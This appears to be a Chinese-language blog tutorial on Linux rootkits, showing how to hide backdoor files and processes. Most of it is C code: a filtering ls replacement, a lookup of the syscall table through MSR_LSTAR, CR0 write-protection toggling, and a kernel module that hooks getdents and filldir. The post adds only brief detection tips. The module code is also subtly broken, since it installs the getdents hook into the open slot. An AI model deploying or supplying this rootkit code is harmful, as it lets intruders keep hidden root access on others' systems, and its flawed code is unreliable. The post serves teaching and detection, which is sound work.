Rootkit與後門隱藏

簡介

Rootkit是一套工具,用於長期獲取root權限以及隱藏自己和後門程序。攻擊者通過漏洞臨時獲得root權限後,一般會安裝後門和rootkit,以便長期獲取權限、收集信息。

linux虛擬文件系統VFS

虛擬文件系統(Virtual File System, 簡稱 VFS), 是 Linux 內核中的一個軟件層。文件,目錄、字符設備、塊設備、 套接字等在 Unix/Linux 中都是以文件被對待,用戶通過libc與kernel的VFS交互。
向上,VFS給用戶空間的程序提供彼岸準的文件操作接口;
向下,VFS給不同文件系統提供標準的接口。系統中不同的文件系統依賴 VFS 提供的接口共存、 協同工作。

Rootkit的功能

  • 獲取權限(鏈接
  • 防止受保護的文件被拷貝
  • 隱藏後門程序
  • 隱藏後門進程
  • 清理日誌

實現原理

核心思想:替換核心組件 。
基本方法:替換相應的程序,如把cp、ls、ps、log等替換爲自己編寫的程序,產生隱藏的效果。
缺點:有經驗的管理員可以通過對原始ls.c簽名,或自己寫純淨版ls.c,與嫌疑ls.c的效果進行比對。
高級方法:替換相應程序的系統調用,甚至更底層的函數調用。

下面以隱藏文件爲例,介紹如何實現rootkit。

應用:隱藏文件

基本方法

hook ls :修改ls命令的顯示內容
ls調用opendir()和readdir(),頭文件dirent.h
把ls.c替換爲myls.c.ls,調用readdir()過程中,當發現backdoor name時,不輸出。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
int main(int argc, char *argv[])
{
    DIR *dp;
    struct dirent *dirp;
    if (argc != 2)
    {
        printf("usage: ls directory_name\n");
        exit(1);
    }
    if ((dp = opendir(argv[1])) == NULL)
    {
        printf("can't open %s\n", argv[1]);
        exit(1);
    }
    while ((dirp = readdir(dp)) != NULL)
    {
	    if(strcmp(dirp->d_name,"test.txt")!=0)
	         printf("%s\n", dirp->d_name);
	}
    closedir(dp);
    return 0;
}

在這裏插入圖片描述

上述攻擊如何避免?
對原始ls.c簽名,或自己寫純淨版ls.c,與嫌疑ls.c的效果進行比對。

高級方法

HOOK系統調用sys_getdents
道高一尺魔高一丈,readdir()會調用sys_getdents,攻擊者可以hook readdir(),或底層的sys_getdents,乃至更底層的ext_readdir中的fillter。

目錄的數據結構,getdents的返回就是由若干個這種結構組成的緩衝區

    struct linux_dirent {
            unsigned long   d_ino;
            unsigned long   d_off;
            unsigned short  d_reclen;
            char                d_name[1];
    };

系統調用流程

系統調用的頭文件 <unistd.h>,以ls->readdir->sys_getdents的系統調用爲例

  • int $0x80指令(系統調用,軟中斷,128號中斷),從用戶態切換到內核態
    64位OS產生系統調用不需要中斷,它直接用sysenter進行syscall,並把SCT地址存到MSR
  • 查中斷向量表IDT,找到128號指向的系統調用處理程序system_call()
  • 系統調用處理函數 調用 系統調用服務例程,call call_number。根據sys_getdents的系統調用號1065,查系統調用表SCT得到sys_getdents
    在這裏插入圖片描述

hook sys_getdents

  • 找到IDT的地址,idt_base
  • 根據idt_base和偏移(0x80 * 8) 找到syscall處理函數的地址
  • 根據call命令的反彙編編碼找到SCT表的地址(該地址會在加載內核後形成,不是固定的)
  • hook,重定向調用函數

64位OS中查找SCT地址的代碼

void *  get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;
    //get the sys_call handler address
    rdmsrl(MSR_LSTAR, lstar);
    //search for \xff\x14\xc5,
    for (index = 0; index <= PAGE_SIZE; index += 1) {
            u8 *arr = (u8 *)lstar + index;
            if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
                    return arr + 3;
            }
    }
    return NULL;
}
unsigned long **get_lstar_sct(void)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}

也可以直接查找獲取SCT表的地址
在這裏插入圖片描述
得到SCT表地址後進行調用函數的重定向

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);
/*
asmlinkage int my_open(const char*file,int flags, int mode){
        printk("A file was opened!\n");
        return original_open(file,flags,mode);//返回原始的調用函數
}
*/
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
                unsigned int count){
        struct linux_dirent *kdirp,*kdirp2;
        long value,tlen;
        long len = 0;
        value = (*old_getdents) (fd, dirp, count);
        tlen = value;
		//注意,這裏不能直接使用用戶空間的dirp,而是要把它copy到內核空間的kdirp
        kdirp = (struct linux_dirent *) kmalloc(tlen, GFP_KERNEL);
        kdirp2 = kdirp;
        copy_from_user(kdirp, dirp, tlen);
        while(tlen > 0)
        {
                len = kdirp->d_reclen;
                tlen = tlen - len;
                if(strstr(kdirp->d_name,"backdoor") != NULL)
                {
                        printk("find file\n");
                        //後面的dirent結構前移覆蓋要隱藏的dirent
                        memmove(kdirp, (char *) kdirp + kdirp->d_reclen, tlen);
                        value = value - len;
                        printk(KERN_INFO "hide successful.\n");
                }
                else if(tlen) 
                        kdirp = (struct linux_dirent *) ((char *)kdirp + kdirp->d_reclen);
        }
        copy_to_user(dirp, kdirp2, value);//注意把經過調整的kdirp還給dirp
        //printk(KERN_INFO "finished hacked_getdents.\n");
        kfree(kdirp2);
        return value;
}
static int filter_init(void)
{
        //sys_call_table = 0xffffffff81a00200;
        sys_call_table = get_lstar_sct();
        old_getdents = (void *)sys_call_table[__NR_getdents];//保留原始調用函數
        disable_write_protection();//關閉寫保護
        sys_call_table[__NR_open] = (unsigned long *)&my_getdents;////重定向調用函數
        enable_write_protection();//打開寫保護
        return 0;
}
static void filter_exit(void)
{
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
    enable_write_protection();
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    //printk(KERN_INFO "hideps: module removed\n");
}
void disable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}
void enable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

my_getdents原理
假設文件夾內有4個子文件,編號0-3,用4個連續的dirent結構存儲,要隱藏的文件編號爲2
當sys_getdents讀取到dirent.name = backdoor時,捨去此dirent,後面的dirent前移覆蓋

如何防範
打印SCT表會發現異常地址,指向用戶區地址my_getdent

sys_getdents的調用樹

sys_getdents-> iterate_dir-> struct file_operations 裏的iterate->… -> struct dir_context 裏的actor(mostly filldir)
詳細分析,如下:
sys_getdents主要調用了iterate_dir

    SYSCALL_DEFINE3(getdents, unsigned int, fd,
                    struct linux_dirent __user *, dirent, unsigned int, count)
    {
            struct fd f;
            struct linux_dirent __user * lastdirent;
            struct getdents_callback buf = {
                    .ctx.actor = filldir,
                    .count = count,
                    .current_dir = dirent
            };
            int error;
            if (!access_ok(VERIFY_WRITE, dirent, count))
                    return -EFAULT;
            f = fdget(fd);
            if (!f.file)
                    return -EBADF;
            error = iterate_dir(f.file, &buf.ctx);////////////////////here
            if (error >= 0)
                    error = buf.error;
            lastdirent = buf.previous;
            if (lastdirent) {
                    if (put_user(buf.ctx.pos, &lastdirent->d_off))
                            error = -EFAULT;
                    else
                            error = count - buf.count;
            }
            fdput(f);
            return error;
    }

iterate_dir調用file_operations裏面的iterate函數

struct dir_context {
        const filldir_t actor;
        loff_t pos;
};
int iterate_dir(struct file *file, struct dir_context *ctx)
{
        struct inode *inode = file_inode(file);
        int res = -ENOTDIR;
        if (!file->f_op->iterate)
                goto out;
        res = security_file_permission(file, MAY_READ);
        if (res)
                goto out;
        res = mutex_lock_killable(&inode->i_mutex);
        if (res)
                goto out;
        res = -ENOENT;
        if (!IS_DEADDIR(inode)) {
                ctx->pos = file->f_pos;
                res = file->f_op->iterate(file, ctx);/////////////////////here
                file->f_pos = ctx->pos;
                file_accessed(file);
        }
        mutex_unlock(&inode->i_mutex);
out:
        return res;
}
EXPORT_SYMBOL(iterate_dir);

vfs的file_operations

const struct file_operations ext4_dir_operations = {
        .llseek         = ext4_dir_llseek,
        .read           = generic_read_dir,
        .iterate        = ext4_readdir,///////////////here
        .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
        .compat_ioctl   = ext4_compat_ioctl,
#endif
        .fsync          = ext4_sync_file,
        .release        = ext4_release_dir,
};

ext4_readdir -> readdir(file, buf, filler), 調用了ext4_dir_operations函數集中的readdir()函數。

ext4_readdir最終通過filldir把目錄裏面的項目填到getdents返回的緩衝區裏,緩衝區裏是若干個linux_dirent結構。

在readdir函數中比較重要的是filler部分,類型是filldir_t(linux/fs.h),它的作用是用dirent中的各項數據填充用戶區的buffer。

typedef  int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);

Filler的代碼示例,其中__put_user是將內容寫入用戶空間。

    dirent = buf->previous;
    if (dirent) {
     if (__put_user(offset, &dirent->d_off))
             goto efault;
    }
    dirent = buf->current_dir;
    if (__put_user(d_ino, &dirent->d_ino))
     goto efault;
    if (__put_user(reclen, &dirent->d_reclen))
     goto efault;
    if (copy_to_user(dirent->d_name, name, namlen))
     goto efault;
    if (__put_user(0, dirent->d_name + namlen))
     goto efault;
    if (__put_user(d_type, (char __user *) dirent + reclen - 1))
     goto efault;
 

最底層的方法

hooking filldir,在hooking function中去掉我們需要隱藏的文件記錄,不填到緩衝區,這樣ls就收不到相應的記錄.

具體思路是hooking相應目錄的iterate,把dir_context的actor改爲fake_filldir, 把後門文件過濾。

    int fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                    loff_t offset, u64 ino, unsigned d_type)
    {
            if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
                    printk("Hiding: %s", name);
                    return 0;
            }

            return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }

隱藏進程

源代碼:rootkit_ps.c
原理和隱藏文件相似。
ps命令會對/proc目錄進行ls,/proc目錄中存的都是以“進程號”命名的文件,對應的“進程名”存放在在/proc/進程號/status中,第一行就是進程名。
假設要隱藏的進程爲backdoor,則需要在ls調用getdents時重定向到自己的處理程序my_getdents(),該函數的作用是根據對目錄下各個子目錄結構體的name,即進程號,找到/proc/進程號/status,提取其中的進程名,如果進程名是backdoor,則忽略該目錄結構體。

日誌修改

待更新。

參考:
https://zhuanlan.zhihu.com/p/61988212
《UNIX環境高級編程》
https://blog.csdn.net/bw_yyziq/article/details/78448667?tdsourcetag=s_pcqq_aiomsg
https://blog.csdn.net/lingfong_cool/article/details/8032328

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章